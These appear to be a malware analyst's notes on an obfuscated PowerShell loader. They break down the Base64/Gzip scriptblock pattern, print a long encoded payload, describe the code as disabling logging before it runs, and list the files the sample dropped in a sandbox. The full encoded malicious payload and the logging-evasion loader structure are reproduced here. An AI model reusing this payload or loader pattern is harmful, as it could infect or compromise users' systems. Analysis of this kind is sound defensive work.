[scriptblock]::create((New-Object System.IO.StreamReader(New-Object
System.IO.Compression.GzipStream((New-Object
System.IO.MemoryStream(,[System.Convert]::FromBase64String
==================
[scriptblock]::create - create an object representing a pre-compiled block of
powershell script
New-Object System.IO.StreamReader - read file data
New-Object System.IO.Compression.GzipStream - decompress byte array
New-Object System.IO.MemoryStream(, - Passing an array of bytes to
system.IO.MemoryStream (the coma following the paraenthesis is important)
https://scriptingetc.wordpress.com/2019/05/22/passing-an-array-of-bytes-to-system-io
-memorystream/
[System.Convert]::FromBase64String - converts a base64-encoded string to a byte
array
```

```
Base64:  https://www.base64decode.org/
=======
H4sIAH8phmICA7VX2/iSBL+faX9H6wVEkYhYAPJhZFGOhtsMMG8/MKwaNXYDTS0bWI3ELK7//tV80gyN8nd3
EljCcXurqqu/uqrRxa7OGAkiQVWDYQ/f/1FuDwDlKJIEHPR4zosCjkajNe48LYNCxvhqyBOle22mUSIxLMvX
xq7NMUxO3+XWpgpWYajOSU4EwvCX4K3wim+7c/XOGDCn0Luj1KLJnNEL2LHBgpWWLhV4pDvdZMAcc9K1pYSJ
uZ//z1fmN7Ks5L2tEM0E/PWMWM4KoWU5gvC3wV+oH3cYjFvkiBNsmTBSh6Jq5WSE2dogXtgbY9NzFZJmOXhL
m+3STHbpfHpUtzKWUbMw+sgTQIlDFOcZfmiMOX2p7PZP8Xp5fDRLmYkwiUjZjhNthZO9yTAWamN4pDiEV7MQ
MtiKYmXs0IBxPbJBou5eEdpUfhfzIg9fLhC96NK4nslkBqwtFCEmH5/TTMJdxSfFfMf+HmiQQGeVyoAfn9zC
BdX/hxrDx/w523h+kxPOxhcFgdJRk66XwWpKJhwOmJJeoTPnJ3ucGH2CriQe+paD8UftSZfVbmiBwtTNyHh7
E39m+jnNu3I0bnU52Ru4gWJcfMYo4gEV76KHwUFLyg+IVK6ivXAQTF/2cBhE1O8RIzjzLnxnZoWEfaqq+4ID
XGqBBDYDLyCmBe+deYcOjFvxCaOAL3zN5A1t4AswVfpS2Ycr6fzbxDKNyjKsqIw2EGaBkXBwohiSHglzshlS
9mx5PSaf3PX3FFGApSxq7lZ4d/xvJzbSOKMpbsAAgsY2NYWBwRRDklRaJMQq0eLLK/n5z8EpIEohfwBS3sIC
```

KxwICzG6ZLy2sSpUShZmBnRluIIZE51Q6doCVXikiUnfqElDvOfeXpNhzP3OTZXUN75CQG3aMKKgktSBmWI4
/zk/V9OfF9+zt40UnyJj3hNsql6ZDwNcoc/As7TC0YnRFIGaOhpEqkow/e1c60Rfyv3yUCBx2+2rYnBLBN+T
SOmRDYcUjUSc/EwYFISmUEjG7T0B4UclofgoacEYSfEdcutMUszWGOgtIdEUmurQJVseHcMZrQM5htK214FV
Bo022XLzyRyaHvc1tlGUKu1x5JSrdb6VWkD6PlEXm6UsBeRw3MX3qGo9ruqkamSQbVOYzT3KvrEo+1yTV8tv
CSz7v1muVyuh6h1R0NFTcIK3SF3lNjtIFLLZdcMme3IPdu5ISq/p+3V75H3nPnWg9xdK8vHFh363vAfhtYbu
pY6cI7Kc899eBm/aMt5i6YTS+35nrm0ZXPpNTbL4Vg9zFvueOJ1umg83PfWCtjRdqbtLB81ZriabHYbaoY8R
g0tpH6F7R8t1ZuMOy/Iq++6LxrIG0vwg4AflH+PbE3qN1Tb9yarINpwmxLYVFBz62G0KMtuz0ZLuENlFWhDR
blvmvwu+1579DQnMnK1iWl5juw2w8R+MWpzV++F1dVkSOnBch5qvbW+Np1R14xHVcudDLDuRqEUbnxvFA83Y
XUU1dlkPdLnY/Mw15gauuEBNzcVX5r0raZTHWnUMt3tnbPZtvs6bVhxZ41sN5vTVTNw6mvf0425I79MKqNFK
D0bOA4Zcphstfxnx6HSpO3e2c7dMJTqkblxj67baZgVeTe3fcmu9Iy52xmNWndqb6wd7araVHQ1cWvR4nlfd
kkwsZGiHO+NEY/j2JEnyb3s7PoQWxolj+MKUcyDohCsPqm6+tSG/dBBeAW6p7jDd3fo+xjkgZuy3iKGBvJIs
w893CzLTl1+wasO5wbaqInCkW0tFUVTFMDb3+oDWq57YKffuZPDRGnAvt7zkProEdwty/5YCc2brnpoN7n9O
3fdHN+sUiBl2bQV4IV/gHiffkp3v2xbySN6RO5+Ui3L9qG1UJ6UmxtVVuesrVU7e7RU7XLd+fob5PTUITGrV
ma59O7Z4c3v119yq9G9+S61P+vtJkqzFaKQ8tC1r8VXT1L90oYHCeEaosjHuQ1OY0xhAIIR6VqwFEqTgE8Bv
F/DAHIeC/iU4hgnpz56KwivgoW36eC69OXLBHyEGgjVqdTF8ZKtitJzVZKgqUvPUu1U6378Yo1kexS5rSKfC
k7AXGzTk20wRxaCKP50qGD2Y9CCPgXrM9zg5A30C+hg5yLO0VOThL7H7nKtVya8gw4wk+HiUz71nRgCBm7xk
5BjfCZ6P2PlsPZTKXPpRCv4E/4Xyryt/YfdH6KRVDxj893ytwvvuvjPA8BDhIGgBR2V4vOc9yEOlyx5F16sQ
QosLg//36e/Y7c9mKZPHf1f580shnUNAAA=

Base64 decoded:
==========
□□)b □W□i G□DX□adQ🡅0o?0□5v□M-□X,|🡅ww□Xq{Ů□ "AUa□Qn□□(□x□ F5<-Bj□{mQ"1,Ţ1LN„
VaIN□os□0лӈз□ˌ.□x;dsцW7倖□□X
e9_w□[□l0Rjd
^□cs□f9xKLv|zT2Q0□@C□□~h9}Ozy|4K0H□m0□jcx8W□2⁒beÈq=A^□T~□"□_.□Чd□-□!&L]'|h@gʀ□□9x~□□□QjJ&□^3
'{□}$GInhx{□ f9ɔr4nu9□b\|(□□▣AK□Tp□L_p□D□#8.|gf}□\j□6□/ □y□[/|
m□0UR226+๑□fpp□ s□Rly=&□Q,jVxwo'68)n□65□CTZ$*+)
J! □R +□□1d*TJ□f□te□□P UxI𝓏IC^aM7B@m0db89?Wӟ□"c□l^□□\ɯ□:□DJ0\D_P qbpK□ꜰH
□DL□□PH=□G%(i□IrLR□-!□%[□□9Ч○U□6r5Q*q蒜uZ@>Q□,□pj=jdmS=ʾ(\Wo
,YW+QSpH]6;H□u&{r□vHJu{}>u□JÑ~□ª▣#^□o2b~gm□\MMV□s□8n□7=4]K□Y&ف□Ki{Guf□*U□ □□z6ɪ6&Ķ□□m
2Ÿђ□EZ□n[□ɒ
ḅZ^c
ZuuY□:p\moTu□rC,;E□□□]E5vY□t5□@MW+iZu🡅{glmΛVY[
L:nH
J□F□\□- □t;wsL%:n\cf□^Mrk#.vcVщ□{j
\ZxWپL,dh;Dc$Io{;>□Ðcs +□n!t□^□n0>9 f칄,w□2ě_jù"p[KEQŤ06)d□p/>□w□r sf랚
NG7□□vm□x!_'ঀ□Hɾ;rmT'&U+UN□;\~~=5□Lj‘};xs{ᵢo~KOIh<-kUЧtxF1CS□@ zV□□□o□%8
ϟ+mx.9r!□5ju1|dbd*RhU:ь□Y.kH□□□4L□Š?*□= z89□} □9ÿT/Uɯ Ì$xƆgF□d□ l=\Q
□+ aGU□□|3□ h□Gex=CE□□B□f) WK!C@□

This is a sign that it is not text but a binary instead. When I decode the base64 on a Linux computer it says there is an error which seems to be overcome by adding one more character of padding "=" at the end.

Findings:
=========
The code determines which version of Powershell it is running, attempts to turn off logging, then tries to run the obfuscated scriptblock code.
Determined to be malicious by Joesandbox https://www.joesandbox.com/analysis/1000817

Files dropped on joesandbox machine:
==========
https://www.joesandbox.com/analysis/633312/1/iochtml
C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_00hrfaxj.jji.psm1
C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_fdgg0c0r.s4f.ps1
C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_kpidnsmd.c4t.ps1
C:\Users\user\AppData\Local\Temp__PSScriptPolicyTest_puwk2p50.ytt.psm1
C:\Users\user\Documents\20220524\PowerShell_transcript.051829.Vu5mMn4f.20220524175754.txt
C:\Users\user\Documents\20220524\PowerShell_transcript.051829.XWha7Ai0.20220524175836.txt
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\JGISX1DFU4OTZ0PDECLC.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\N2V7716LCM2C5QDVJ711.temp
C:\Users\user\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\d93f411851d7c929.customDestinations-ms (copy)